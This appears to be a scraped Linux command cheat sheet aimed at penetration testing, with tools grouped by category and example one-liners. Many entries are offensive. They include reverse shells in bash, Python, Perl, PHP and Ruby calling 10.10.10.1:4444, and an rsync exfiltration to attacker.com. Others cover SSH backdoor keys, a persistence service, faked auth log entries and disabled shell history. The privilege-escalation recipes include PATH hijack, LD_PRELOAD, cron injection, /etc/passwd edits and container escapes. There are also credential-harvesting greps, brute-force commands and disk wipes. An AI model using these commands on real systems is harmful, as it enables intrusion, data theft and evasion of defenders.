hydraCrypto & HashingNetwork login brute-force tool supporting 50+ protocolshydra -l admin -P rockyou.txt ssh://target — SSH brute-force
hydra -L users.txt -P passwords.txt target http-post-form '/login:u=^USER^&p=^PASS^:Invalid' — web form
hydra -l root -P passwords.txt ftp://target — FTP brute-force
hydra -l admin -P rockyou.txt -e nsr target http-get /admin — HTTP basic auth
medusaCrypto & HashingParallel, speedy network login auditormedusa -h target -u admin -P rockyou.txt -M ssh -t 4 — parallel SSH brute-force
medusa -H hosts.txt -U users.txt -P passwords.txt -M rdp — RDP brute multi-host
crunchCrypto & HashingGenerate custom wordlists from character sets and patternscrunch 8 8 abcdefgh0123456789 -o wordlist.txt — all 8-char combos from charset
crunch 6 6 -t pass@@ -o targeted.txt — pattern-based: pass then 2 digits
cewlCrypto & HashingSpider a website and generate a custom wordlist from its contentcewl https://target.com -m 6 -d 3 -w wordlist.txt — scrape words 6+ chars, 3 levels deep
cewl -e --email_file emails.txt https://target.com — also extract emails for phishing
hashidCrypto & HashingIdentify hash type from its format and lengthhashid '$6$salt$longhash' — identify SHA-512-crypt (Linux shadow)
hashid -m hash.txt — identify with suggested hashcat -m mode numbers
hash-identifierCrypto & HashingInteractive tool to identify unknown hash typeshash-identifier — launch interactive prompt, paste hash for identification
unameSystem InfoPrint kernel/OS information. -a all, -r release, -m machine archuname -a — get full kernel version string for exploit-suggester input
uname -r — kernel release only (check against CVE/PoC database)
hostnameSystem InfoShow or set the system hostnamehostname — identify compromised machine name
hostname -I — list all IP addresses on the machine
hostname -f — fully qualified domain name
uptimeSystem InfoShow how long the system has been running and load averagesuptime — check if system recently rebooted (may indicate patching or incident response)
dmesgSystem InfoPrint kernel ring buffer messages (hardware, driver, network events)dmesg -T | grep -i 'usb\|err\|fail\|attack' — find USB insertions, errors, anomalies
dmesg | tail -50 — recent kernel messages
lscpuSystem InfoDisplay detailed CPU architecture informationlscpu — confirm 32/64-bit, VM vs physical, CPU count, virtualization support
lsmemSystem InfoShow system memory ranges and their propertieslsmem — view physical memory layout
freeSystem InfoDisplay RAM and swap memory usagefree -h — check available RAM before loading memory-intensive tools
vmstatSystem InfoReport virtual memory, processes, I/O, CPU activity statsvmstat 1 5 — 5 snapshots at 1s intervals (spot CPU/memory spikes)
iostatSystem InfoReport CPU and I/O device utilizationiostat -x 1 — extended disk I/O stats (detect heavy disk read = forensics on disk?)
mpstatSystem InfoReport multiprocessor CPU usage statisticsmpstat -P ALL 1 — per-core CPU usage (detect cryptominer on specific core)
sarSystem InfoCollect, report, and save system activity datasar -n DEV 1 5 — network interface statistics every second
lsblkSystem InfoList block devices in tree format with sizes and mount pointslsblk — see all disks and partitions
lsblk -f — show filesystem types and UUIDs (find unencrypted unmounted data drives)
lspciSystem InfoList all PCI hardware deviceslspci | grep -i 'net\|vga\|virt' — detect VM (VMware, VirtualBox), find network cards
lsusbSystem InfoList all USB devices connected to systemlsusb — detect USB devices including HID implants (e.g., USB Rubber Ducky)
lshwSystem InfoDetailed hardware configuration in tree formatlshw -short — summarized hardware inventory
lshw -class network — detailed network interface hardware info
dmidecodeSystem InfoRead hardware info directly from DMI/BIOS tabledmidecode -t system — get vendor, model, serial (detect cloud/VM environment)
dmidecode -t bios — BIOS version and date for vulnerability research
hwinfoSystem InfoVery detailed hardware info (apt install hwinfo)hwinfo --network — detailed network hardware including driver info
sensorsSystem InfoRead hardware temperatures and voltages (requires lm-sensors)sensors — monitor temperatures to detect mining or overloading
inxiSystem InfoComprehensive system info tool with many output formatsinxi -Fxz — full system info with extra details, hide personal info
hostnamectlSystem InfoShow or set hostname and related system metadatahostnamectl — see OS name, kernel, machine ID, virtualization type
timedatectlSystem InfoShow or set system time, timezone, and NTP statustimedatectl — check system time vs hardware clock (important for Kerberos, TLS)
localectlSystem InfoShow or set locale and keyboard layout settingslocalectl — confirm language settings (useful in forensics)
systemctlSystem InfoManage systemd services, targets, and unitssystemctl list-units --type=service --state=running — see all running services (spot suspicious ones)
systemctl status ssh — check SSH service status
systemctl enable --now evil.service — install and start backdoor service for persistence
journalctlSystem InfoQuery and filter systemd journal logsjournalctl -u ssh -n 100 — last 100 SSH log lines
journalctl --since '1 hour ago' — logs from last hour
journalctl -p err -b — only errors since last boot
journalctl -f — follow live journal output
envSystem InfoPrint all current environment variablesenv — critical post-shell step: find credentials, tokens, paths in environment
env | grep -iE 'pass|key|secret|token|api' — grep env for sensitive values
printenvSystem InfoPrint value of a specific environment variableprintenv PATH — check PATH for hijacking opportunities
printenv HOME USER SHELL — identify session context
setSystem InfoDisplay all shell variables, functions, and environmentset — comprehensive view of all shell state including functions
exportSystem InfoSet and export variables to child processes in current sessionexport PATH=/tmp:$PATH — PATH hijack for privesc
export HISTFILE=/dev/null HISTSIZE=0 — disable command history for stealth
aliasSystem InfoCreate command shortcuts or override existing commandsalias ll='ls -la' — convenience alias
alias sudo='strace -o /tmp/sudo.log -e read sudo' — intercept sudo password (lab demo)
historySystem InfoShow command history with line numbershistory | grep -iE 'pass|ssh|mysql|ftp|scp' — mine history for credentials
cat ~/.bash_history — read history file directly
cat /home/*/.bash_history 2>/dev/null — all users' command histories
runlevelSystem InfoPrint previous and current SysV runlevelrunlevel — check runlevel on legacy SysV init systems
initSystem InfoChange system runlevel (SysV legacy)init 6 — reboot
init 0 — halt/shutdown
aptPackage ManagementDebian/Ubuntu front-end package managerapt update && apt install nmap wireshark -y — install tools on Kali/Ubuntu
apt list --installed | grep -i 'audit\|tripwire\|aide' — check for IDS/monitoring tools on target
apt-getPackage ManagementLower-level Debian package manager with more controlapt-get install -y --no-install-recommends metasploit-framework — install MSF minimally
apt-get download nmap && dpkg -x nmap*.deb /tmp/nmap — extract without installing
dpkgPackage ManagementManage .deb packages directlydpkg -l | grep -i 'ssh\|audit\|fail2ban' — check security software on target
dpkg -i custom_tool.deb — install .deb file
dpkg -L nmap — list files installed by a package
yumPackage ManagementRHEL/CentOS package manager (older systems)yum install nmap -y — install on RHEL/CentOS
yum list installed — list all installed packages on target
dnfPackage ManagementModern replacement for yum on Fedora/RHEL 8+dnf install nmap -y — install on modern RHEL
dnf history — see history of package installations (forensics)
rpmPackage ManagementManage .rpm packages on RHEL-based systemsrpm -qa | grep ssh — list installed SSH packages
rpm -qf /usr/bin/sudo — find which package owns sudo (verify integrity)
rpm -V sudo — verify sudo package files haven't been tampered
pacmanPackage ManagementArch Linux package managerpacman -S nmap — install nmap on Arch
pacman -Q | grep -i 'sec\|audit' — list security-related packages
snapPackage ManagementSnap package manager for sandboxed containerized appssnap list — list installed snaps on target machine
flatpakPackage ManagementFlatpak sandboxed application managerflatpak list — list installed Flatpak apps
pipPackage ManagementPython 2/3 package installerpip3 install impacket requests pwntools — install common pentest Python libs
pip3 install --target /tmp/ impacket — install without root to /tmp
pip3Package ManagementPython 3 specific package installerpip3 install scapy — install packet crafting library
pip3 list | grep -i 'request\|crypto\|socket' — find useful libs already installed
gemPackage ManagementRuby package (gem) managergem install evil-winrm — install Windows remote management tool
gem install wpscan — install WordPress scanner
npmPackage ManagementNode.js package managernpm install -g retire — install JS vulnerability scanner
cargoPackage ManagementRust package manager and build systemcargo install ripgrep — install fast grep replacement written in Rust
mountDisk & FilesystemMount filesystem or show all mounts. -o ro for read-onlymount — list all mounted filesystems (spot NFS, CIFS mounts for lateral movement)
mount /dev/sdb1 /mnt/usb — mount external drive
mount -o ro /dev/sda1 /mnt/forensic — mount read-only for forensic analysis
umountDisk & FilesystemUnmount a mounted filesystemumount /mnt/usb — safely unmount before removing drive
fdiskDisk & FilesystemInteractive partition management for MBR disksfdisk -l — list all disks and their partition tables
fdisk -l /dev/sdb — inspect specific disk (USB, added drive)
partedDisk & FilesystemAdvanced disk partition manager supporting GPT and MBRparted /dev/sdb print — show partition table of drive
mkfsDisk & FilesystemCreate filesystem on a partitionmkfs.ext4 /dev/sdb1 — format partition (destroys data, for prep/cleanup)
fsckDisk & FilesystemCheck and repair filesystem integrityfsck -n /dev/sda1 — check without fixing (safe, read-only check)
blkidDisk & FilesystemPrint block device attributes: UUID, filesystem type, labelblkid — identify all storage devices with type and UUID
blkid /dev/sdb1 — get UUID to reference in fstab or scripts
ddDisk & FilesystemLow-level data copy — disk imaging, wiping, convertingdd if=/dev/sda of=/mnt/backup/disk.img bs=4M status=progress — create forensic disk image
dd if=/dev/zero of=/dev/sdb bs=1M status=progress — wipe disk
dd if=/dev/urandom of=/dev/sdb bs=1M — random wipe (harder to recover)
dd if=/dev/sda | gzip > disk.img.gz — compressed disk image
dcflddDisk & FilesystemForensic dd with on-the-fly hashing and split outputdcfldd if=/dev/sda of=image.img hash=sha256 hashlog=hash.txt bs=4M — image with hash verification
shredDisk & FilesystemSecurely overwrite file data to prevent recoveryshred -uzn 3 sensitive.txt — 3-pass overwrite + zero + delete
shred -n 1 -z /dev/sdb — wipe entire disk with one pass then zeros
wipeDisk & FilesystemSecure file deletion utilitywipe -r /tmp/sensitive/ — recursively wipe directory contents
secure-deleteDisk & FilesystemToolkit: srm (files), sfill (free space), smem (memory), sswapsrm -r /tmp/loot/ — securely delete directory
sfill -z /tmp — overwrite free space in /tmp
badblocksDisk & FilesystemScan storage device for bad or failing sectorsbadblocks -v /dev/sdb > bad.txt — find bad sectors (could explain forensic gaps)
hdparmDisk & FilesystemQuery and set ATA/SATA hard disk parametershdparm -I /dev/sda — full drive info (model, serial, security features)
hdparm -t /dev/sda — benchmark raw disk read speed
smartctlDisk & FilesystemSMART disk health monitoring and diagnosticssmartctl -a /dev/sda — full SMART data including reallocated sectors
smartctl -t short /dev/sda — run short self-test
bashShell & ScriptingBourne Again Shell — primary shell, scripting, one-linersbash -i >& /dev/tcp/10.10.10.1/4444 0>&1 — TCP reverse shell one-liner
bash -p — preserve effective UID (privesc step after SUID)
bash -c 'id; cat /etc/passwd' — run multiple commands
bash -x script.sh — debug script with trace output
shShell & ScriptingPOSIX-compliant shell — available on almost every Unix systemsh -i >& /dev/tcp/10.10.10.1/4444 0>&1 — minimal reverse shell
/bin/sh -i — interactive sh (smaller footprint than bash)
zshShell & ScriptingZ shell — feature-rich shell with tab completion and pluginszsh — launch zsh (common on Kali Linux default)
python ttyShell & ScriptingUpgrade dumb netcat shell to interactive PTY via Pythonpython3 -c 'import pty;pty.spawn("/bin/bash")' — step 1: get PTY
Then: Ctrl+Z → stty raw -echo; fg → reset → export TERM=xterm
script ttyShell & ScriptingUpgrade dumb shell using the script command to allocate PTYscript /dev/null -c bash — spawn bash with full TTY via script
echoShell & ScriptingPrint text, variables, or escape sequences to stdoutecho $PATH — view current PATH
echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys — add SSH backdoor key
echo -e '\x41\x42\x43' — print hex-escaped characters
printfShell & ScriptingFormatted output — more control than echoprintf '\x41\x42\x43\n' — print bytes by hex value
printf '%s:%s\n' user pass — formatted credential output
readShell & ScriptingRead user input into variablesread -s -p 'Password: ' pass — read password silently (no echo)
while read line; do nmap $line; done < targets.txt — loop over file lines
sourceShell & ScriptingExecute script in current shell context (inherits variables)source ~/.bashrc — reload bash configuration
source exploit_env.sh — load environment variables from file
execShell & ScriptingReplace current process with a new command (no new PID)exec /bin/bash — replace current shell with bash
exec 3<>/dev/tcp/10.10.10.1/4444 — open TCP socket as file descriptor 3
evalShell & ScriptingEvaluate a string as shell commandseval $(ssh-agent) — start ssh-agent and set variables
cmd='id'; eval $cmd — dynamic command execution (injection demo)
testShell & ScriptingEvaluate conditions — file existence, string comparison, integer comparisontest -f /etc/shadow && echo 'shadow readable!' || echo 'nope' — check file access
exprShell & ScriptingEvaluate basic arithmetic and string expressionsexpr 2048 \* 1024 — calculate memory size in bytes
letShell & ScriptingPerform integer arithmetic on shell variableslet port=4444; let port+=1; echo $port — increment port variable
declareShell & ScriptingDeclare variables and set attributes (type, readonly, export)declare -r CONST=value — declare read-only variable
declare -a arr — declare array
trapShell & ScriptingCatch signals and execute commands when signals are receivedtrap 'rm -f /tmp/.payload; exit 0' EXIT — cleanup payload on script exit
trap '' INT TERM — make script immune to Ctrl+C and kill
getoptsShell & ScriptingParse command-line options in shell scriptswhile getopts 'h:p:u:' opt; do case $opt in h) HOST=$OPTARG;; esac; done — parse -h -p -u flags
tarArchivesArchive and optionally compress files. c=create x=extract z=gzip j=bzip2tar -czvf loot.tar.gz /home/user/docs/ — compress directory for exfil
tar -xzvf tools.tar.gz -C /tmp/ — extract tools to /tmp
tar -cjf backup.tar.bz2 /etc/ — bzip2 compressed (smaller)
tar -tvf archive.tar.gz — list contents without extracting
gzipArchivesCompress a single file with gzip algorithmgzip -9 capture.pcap — max compress capture for storage
gzip -d file.gz — decompress
gunzipArchivesDecompress gzip-compressed filesgunzip archive.gz — extract .gz file
bzip2ArchivesCompress/decompress files with bzip2 (better ratio than gzip)bzip2 -9 large_file.bin — compress with best ratio
xzArchivesHigh-ratio compression with xz/lzma algorithmxz -9 -T 4 huge.img — max compression using 4 threads
xz -d file.xz — decompress
zipArchivesCreate ZIP archive — cross-platform compatiblezip -r loot.zip /home/user/ -x '*.mp4' — zip home dir excluding large videos
zip -P s3cr3t protected.zip sensitive.txt — password-protected zip
unzipArchivesExtract ZIP archive contentsunzip -l archive.zip — list contents without extracting
unzip -P password protected.zip -d /tmp/out/ — extract password-protected zip
7zArchives7-Zip — supports many formats with high compression7z a -mmt4 -mx9 archive.7z /data/ — max compression 4 threads
7z x protected.zip -pPASSWORD — extract password-protected
7z l archive.7z — list archive contents
rarArchivesCreate and extract RAR archivesrar a -hp'password' archive.rar files/ — password-encrypted RAR
unrar x archive.rar — extract RAR
zcatArchivesView gzipped file content without extracting to diskzcat access.log.gz | grep POST — search compressed log without extracting
bzcatArchivesView bzip2 file content without extractingbzcat backup.bz2 | strings | grep -i pass — search bzip2 archive for passwords
ssh-keygenRemote AccessGenerate SSH key pairs and manage existing keysssh-keygen -t ed25519 -C 'backdoor' -f /tmp/.key -N '' — generate key silently
cat /tmp/.key.pub >> /root/.ssh/authorized_keys — install for persistent access
ssh-keygen -t rsa -b 4096 -f mykey — RSA 4096-bit key
ssh-copy-idRemote AccessCopy public key to remote host's authorized_keys automaticallyssh-copy-id -i ~/.ssh/id_ed25519.pub user@target — install key for passwordless access
ssh-agentRemote AccessKey management daemon — holds decrypted private keys in memoryeval $(ssh-agent) && ssh-add ~/.ssh/id_rsa — start agent and load key
ssh-addRemote AccessAdd private keys to running ssh-agentssh-add /tmp/.private_key — load stolen or custom key into agent
sshpassRemote AccessProvide SSH password non-interactively (for scripting)sshpass -p 'password' ssh user@target 'id; hostname' — automated SSH login
sshpass -f passfile scp user@target:/etc/passwd ./ — automated SCP
rsyncRemote AccessEfficient remote file sync over SSH with compression and delta transferrsync -avz --progress /home/user/loot/ user@attacker.com:/exfil/ — exfil directory
rsync -avz -e 'ssh -p 2222' user@target:/var/www/ ./backup/ — backup over non-standard port
sshfsRemote AccessMount remote filesystem over SSH as local directorysshfs user@target:/var/www /mnt/target_web — browse remote files locally
fusermount -u /mnt/target_web — unmount
tmuxRemote AccessTerminal multiplexer — multiple windows/panes, survives disconnecttmux new -s pentest — create named session
tmux attach -t pentest — reattach after disconnect
tmux split-window -h — split horizontally (monitor two things at once)
screenRemote AccessLegacy terminal multiplexer — widely available fallbackscreen -S hack — start named session
screen -r hack — reattach to detached session
screen -ls — list all sessions
rdesktopRemote AccessOpen-source RDP client for connecting to Windows hostsrdesktop -u Administrator -p Password target.com — RDP to Windows target
xfreerdpRemote AccessModern RDP client with NLA/TLS supportxfreerdp /u:Administrator /p:Password /v:target /cert-ignore — RDP ignoring cert warnings
xfreerdp /u:admin /pth:NTHASH /v:target /cert-ignore — pass-the-hash RDP
rshRemote AccessRemote shell — insecure legacy tool (no encryption)rsh target 'id' — remote command execution if .rhosts allows
rcpRemote AccessRemote file copy — insecure legacy toolrcp file user@target:/tmp/ — copy file if .rhosts trusts us
vncRemote AccessVNC remote desktop clientsvncviewer target:1 — connect to VNC display 1
vncviewer -passwd passwd_file target — connect with saved password file
ausearchForensics & LogsSearch Linux audit logs by key, user, executable, syscall, timeausearch -k passwd_changes -i — find audit events tagged with key
ausearch -m execve --start today -i — all commands executed today
ausearch -ua 1000 -i — all audit events for UID 1000
auditctlForensics & LogsConfigure Linux Audit System rules dynamicallyauditctl -w /etc/passwd -p war -k passwd_changes — watch passwd for writes and attribute changes
auditctl -a always,exit -F arch=b64 -S execve -k cmd_exec — audit all command executions
auditctl -l — list active audit rules
aureportForensics & LogsGenerate summary reports from audit log dataaureport --login — login/logout summary
aureport --failed — all failed events
aureport --executable — programs that were executed
aureport --user — events per user
logrotateForensics & LogsRotate, compress, and manage log files automaticallylogrotate -f /etc/logrotate.conf — force rotation immediately (can be used to truncate logs)
loggerForensics & LogsWrite arbitrary messages to the system sysloglogger -t SECURITY 'Suspicious activity detected' — inject fake log entry
logger -p auth.info 'Accepted password for root' — spoof auth log entry
volatilityForensics & LogsMemory forensics framework for analyzing RAM dumpsvolatility -f memory.dmp imageinfo — identify OS profile from memory dump
vol -f mem.dmp windows.pslist — list processes from Windows memory
vol -f mem.dmp linux.netstat — network connections from Linux memory
vol -f mem.dmp windows.hashdump — extract password hashes from memory
foremostForensics & LogsFile carving tool — recover deleted files from disk imagesforemost -t jpeg,pdf,docx -i disk.img -o /output/ — carve common file types from image
binwalkForensics & LogsFirmware analysis and embedded file extraction toolbinwalk -e firmware.bin — extract embedded filesystems from IoT firmware
binwalk -A firmware.bin — scan for executable code and architecture
binwalk -M -e --dd='.*' firmware.bin — recursive deep extraction
scalpelForensics & LogsFast file carver based on header/footer signaturesscalpel -c /etc/scalpel/scalpel.conf disk.img -o output/ — carve files per config
exiftoolForensics & LogsRead and write metadata in many file formatsexiftool image.jpg — extract GPS, camera model, creation date
exiftool -all= image.jpg — strip all metadata for OPSEC before sharing
exiftool -r /path/ — recursively process directory
readelfForensics & LogsDisplay information about ELF binary filesreadelf -h binary — ELF header (arch, entry point, type)
readelf -S binary — section headers (find .text, .bss, .plt)
readelf -d binary | grep NEEDED — required shared libraries
objdumpForensics & LogsDisplay and disassemble object files and binariesobjdump -d -M intel binary — disassemble in Intel syntax (more readable)
objdump -s -j .rodata binary — dump read-only data section (strings, consts)
nmForensics & LogsList symbols from object files (functions, globals)nm binary | grep -i 'system\|exec\|popen\|gets' — find dangerous function symbols
nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep ' system' — find system() address in libc
ltraceForensics & LogsTrace shared library calls made by a programltrace ./binary 2>&1 | grep -i 'strcmp\|strncmp\|system' — find password comparisons or dangerous calls
gdbForensics & LogsGNU Debugger — debug, analyze, and exploit binariesgdb ./vulnerable — start debugging
gdb -p PID — attach to running process
Inside: r $(python3 -c 'print("A"*200)') — crash test
info registers — view registers after crash
x/20x $esp — examine stack
pwndbgForensics & LogsGDB plugin that enhances GDB for exploit developmentgdb ./binary (with pwndbg loaded) — get enhanced display with stack, heap, regs
checksec — check binary security features inside gdb
radare2Forensics & LogsOpen-source reverse engineering frameworkr2 -A malware.bin — open with full analysis
Inside r2: pdf @main — disassemble main, iz — strings, afl — list functions, VV — visual graph mode
ghidraForensics & LogsNSA open-source GUI reverse engineering suiteghidraRun — launch Ghidra GUI
Import binary → Auto-analyze → CodeBrowser for decompilation to C-like pseudocode
stringsForensics & LogsExtract printable strings from binary filesstrings -a malware.bin | grep -iE 'http|ftp|cmd|pass|key|token|config' — extract IOCs
strings /proc/PID/exe — strings from running process without file access
autopsyForensics & LogsGUI digital forensics platform built on Sleuth Kitautopsy & — open browser-based GUI (http://localhost:9999/autopsy)
Create case → Add disk image → Analyze file system, deleted files, email, web history
sudo -lPrivEscList allowed sudo commands for current user — always run firstsudo -l — look for NOPASSWD entries and check each at gtfobins.github.io
Example: (root) NOPASSWD: /usr/bin/vim → sudo vim -c ':!/bin/bash'
SUID findPrivEscFind all SUID binaries — most common privesc starting pointfind / -perm -4000 -type f 2>/dev/null — find all SUID files
find / -perm -u=s -type f 2>/dev/null — alternate syntax
Check each result at gtfobins.github.io for exploitation technique
SGID findPrivEscFind all SGID binaries — may lead to group-based escalationfind / -perm -2000 -type f 2>/dev/null — find SGID binaries
find / -perm -g=s -type f 2>/dev/null — alternate syntax
writable findPrivEscFind world-writable files and directories for injectionfind / -writable -type f 2>/dev/null | grep -v proc | grep -v sys — writable system files
find / -writable -type d 2>/dev/null | grep -v proc — writable dirs (PATH injection targets)
getcapPrivEscFind binaries with elevated Linux capabilitiesgetcap -r / 2>/dev/null — find capability-enabled binaries
e.g., python3 with cap_setuid+ep → python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
e.g., /usr/bin/python3 = cap_net_raw → raw socket access
linpeasPrivEscAutomated Linux privilege escalation enumeration scriptcurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh -a 2>&1 | tee linpeas.txt — save full output for review
Colors: RED/YELLOW = critical findings to investigate first
linux-exploit-suggesterPrivEscMatch current kernel version to known local privilege escalation exploits./linux-exploit-suggester.sh — auto-detects kernel version and suggests CVEs
./linux-exploit-suggester.sh --uname 'Linux 4.4.0' — test specific version
pspyPrivEscMonitor processes without root — see cron jobs run by other users./pspy64 -pf -i 1000 — monitor with file events, 1s interval
Watch for root-owned scripts/binaries that run periodically (cron privesc)
docker groupPrivEscDocker group membership equals root on hostid | grep docker — check membership
docker run -v /:/mnt --rm -it alpine chroot /mnt sh — mount host root inside container and chroot
docker run --privileged -it ubuntu bash — privileged container escape
lxd groupPrivEscLXD/LXC group membership leads to root on hostid | grep lxd — check membership
Steps: build Alpine image → lxc init Alpine privesc → add disk device / → lxc start → lxc exec privesc -- sh → chroot /mnt/root
PATH hijackPrivEscInject malicious binary early in PATH to hijack SUID executionecho '/bin/bash -p' > /tmp/ls && chmod +x /tmp/ls && export PATH=/tmp:$PATH — hijack 'ls' called by SUID binary
Verify target SUID calls relative command: strings /usr/sbin/target | grep -v '/'
LD_PRELOADPrivEscPreload malicious shared library when allowed via sudo env_keepcat /etc/sudoers | grep LD_PRELOAD — check if env_keep includes LD_PRELOAD
Compile evil.c (calls setuid(0)+system("/bin/bash")) → gcc -shared -fPIC evil.c -o evil.so
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find — trigger as root
cron writablePrivEscModify a script called by root's cron jobcat /etc/crontab && ls -la /etc/cron.* — find scripts run as root
echo 'chmod +s /bin/bash' >> /path/to/script.sh — inject SUID payload
Wait for cron to run → /bin/bash -p — get root shell
NFS no_root_squashPrivEscNFS share without root_squash allows host root to create SUID filescat /etc/exports — look for no_root_squash option
On attacker (as root): mount share, copy /bin/bash, chmod +s bash
On target: execute the SUID bash with ./bash -p
/etc/passwd writablePrivEscIf /etc/passwd is writable, add root-privileged user directlyls -la /etc/passwd — check if world-writable
echo 'hacker:$(openssl passwd -1 pass):0:0:root:/root:/bin/bash' >> /etc/passwd — add root user
su hacker then enter 'pass' → root shell
weak file permissionsPrivEscFind sensitive files with incorrect permissionsls -la /etc/shadow /etc/sudoers /root/.ssh/ — check critical file permissions
find /home -name '*.pem' -o -name 'id_rsa' 2>/dev/null — find SSH private keys
dateMisc UtilitiesDisplay or set system date, time, and format outputdate — check system time (important for Kerberos ticket validity, TLS certs)
date -d @1609459200 — convert Unix timestamp to human-readable
date +%Y%m%d_%H%M%S — timestamp for filename
calMisc UtilitiesDisplay calendar for month or yearcal 2024 — view full year calendar
bcMisc UtilitiesArbitrary-precision command-line calculatorecho 'obase=16; 255' | bc — decimal 255 to hex: FF
echo 'ibase=16; FF' | bc — hex FF to decimal: 255
echo '2^32' | bc — calculate IPv4 address space
factorMisc UtilitiesFactorize integers into prime factorsfactor 65537 — factorize (65537 is prime — common RSA public exponent)
seqMisc UtilitiesGenerate sequences of numbersseq 1 254 | xargs -I{} -P10 ping -c1 -W1 192.168.1.{} | grep 'from' — parallel ping sweep
seq 80 443 — generate port range for use in scripts
yesMisc UtilitiesRepeatedly output a string until killed — useful for automationyes | rm -ri directory/ — auto-confirm all deletions
yes password | passwd user — auto-supply password to passwd
xclipMisc UtilitiesRead and write to X11 clipboard from command linecat /etc/passwd | xclip -sel clip — copy file to clipboard for pasting
xdotoolMisc UtilitiesSimulate keyboard and mouse events on X11xdotool type 'injected text' — simulate keyboard input to active window
inotifywaitMisc UtilitiesMonitor filesystem events in real time (inotify-tools)inotifywait -m /etc -e modify,create,delete — watch /etc for any changes (catch defender activity)
inotifywait -m /tmp -e create — alert when files appear in /tmp
chrootMisc UtilitiesChange apparent root directory for current process and childrenchroot /mnt/compromised_root /bin/bash — enter mounted filesystem as if it's root
mount --bind /proc /mnt/root/proc && chroot /mnt/root bash — chroot with proc for full system
nsenterMisc UtilitiesEnter namespaces of another process — container escape techniquensenter -t 1 -m -u -i -n -p -- bash — enter all namespaces of PID 1 from inside container (escape to host)
nsenter -t PID -n -- ss -tulnp — enter only network namespace of another process
unshareMisc UtilitiesRun command in new isolated namespacesunshare -r /bin/bash — create user namespace mapped to root (if unprivileged user namespaces enabled)
ip netnsMisc UtilitiesManage network namespaces for isolation and testingip netns list — list all network namespaces
ip netns exec ns1 bash — run bash inside specific network namespace
pivot_rootMisc UtilitiesSwap root filesystem — used in container runtime internalspivot_root new_root put_old — swap root filesystem (container escape technique)
dockerMisc UtilitiesContainer management — often leads to root on hostdocker ps -a — list all containers including stopped
docker exec -it container_name bash — shell into running container
docker run -v /:/host -it --rm alpine chroot /host — root escape via volume mount
docker inspect container | grep -i 'env\|mount' — check for secrets in env vars
kubectlMisc UtilitiesKubernetes CLI — access cluster, pods, secretskubectl get pods --all-namespaces — list all pods in cluster
kubectl exec -it pod-name -- /bin/bash — shell into a pod
kubectl get secrets -o yaml — dump all secrets in current namespace
kubectl auth can-i --list — list what current account can do
python3Misc UtilitiesPython 3 interpreter — essential for exploits, scripts, serverspython3 -m http.server 8080 — instant HTTP file server for tool delivery
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.10.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")' — Python reverse shell
python3 -m base64 -d <<< 'encoded' — decode base64
perlMisc UtilitiesPerl interpreter — often available when bash isn't, great for one-linersperl -e 'use Socket;$i="10.10.10.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");' — Perl reverse shell
phpMisc UtilitiesPHP interpreter — available on web servers, useful for reverse shellsphp -r '$sock=fsockopen("10.10.10.1",4444);$proc=proc_open("/bin/bash -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);' — PHP reverse shell
php -S 0.0.0.0:8080 — PHP built-in web server
rubyMisc UtilitiesRuby interpreter — alternative shell and scripting languageruby -rsocket -e 'f=TCPSocket.open("10.10.10.1",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)' — Ruby reverse shell
luaMisc UtilitiesLua interpreter — used in Nmap scripting engine (NSE)nmap --script=lua_script target — custom Lua NSE script
lua -e 'os.execute("/bin/bash")' — execute shell command via Lua
manMisc UtilitiesOpen manual pages for commandsman nmap — full nmap documentation
man 5 passwd — /etc/passwd file format spec
man syscalls — list all Linux system calls
infoMisc UtilitiesView GNU info documentation (more detailed than man for some tools)info coreutils — comprehensive GNU core utilities docs
whatisMisc UtilitiesShow one-line description of a command from man pageswhatis curl wget nc — quick description of multiple tools at once
aproposMisc UtilitiesSearch man page descriptions by keywordapropos packet — find all commands related to packets
apropos -s 1 encrypt — find section 1 commands related to encryption
typeMisc UtilitiesShow how the shell interprets a command nametype ls — is it alias, function, binary, or builtin?
type -a python — show all locations of python in PATH
lddMisc UtilitiesShow shared library dependencies of an executableldd /usr/bin/sudo — see what libraries sudo depends on
ldd /usr/local/bin/target — identify hijackable library paths for LD_PRELOAD
ldd /bin/bash — bash library dependencies
ldconfigMisc UtilitiesUpdate shared library cache and linksldconfig -p | grep libssl — find SSL library version
ldconfig — refresh library cache after adding new libs
stdbufMisc UtilitiesAdjust I/O buffering mode of a program's streamsstdbuf -oL tail -f /var/log/syslog | stdbuf -oL grep --line-buffered 'error' — unbuffered live grep on log
tasksetMisc UtilitiesSet or get CPU affinity for a processtaskset -c 0,1 ./cryptominer — pin miner to specific CPUs to limit visibility on others
ulimitMisc UtilitiesSet or display resource limits for processes in current shellulimit -a — view all current limits
ulimit -n 65535 — increase open file descriptor limit for mass scanning tools
iconvMisc UtilitiesConvert text between different character encodingsiconv -f utf-16le -t utf-8 file.txt — convert Windows UTF-16 file to UTF-8
iconv -f latin1 -t utf-8 oldfile > newfile — fix encoding issues
update-alternativesMisc UtilitiesManage symbolic link alternatives for system commandsupdate-alternatives --list python — list Python alternatives
update-alternatives --config java — select default Java version
systemd-analyzeMisc UtilitiesAnalyze and debug systemd boot and service startup timessystemd-analyze blame — show services slowing down boot (spot unusual services)
ipcalcMisc UtilitiesCalculate IP network ranges, broadcast, netmask from CIDRipcalc 192.168.1.0/24 — show network, broadcast, first/last host, netmask
nprocMisc UtilitiesPrint number of available CPU processing unitsnproc — check core count to set optimal thread count for hashcat/hydra
tputMisc UtilitiesQuery terminfo and control terminal formattingtput cols; tput lines — get terminal width/height (useful in scripts)
tput setaf 1; echo 'RED'; tput sgr0 — color output in scripts
wallMisc UtilitiesBroadcast a message to all logged-in users' terminalswall 'System going down for maintenance in 5 mins' — send message to all users
writeMisc UtilitiesSend a message directly to a specific user's terminalwrite username pts/1 — open write session to user on specific terminal
mesgMisc UtilitiesControl whether other users can send messages to your terminalmesg n — block messages from wall/write
mesg y — allow messages
clearMisc UtilitiesClear the terminal screenclear — clear screen before demo or after sensitive output
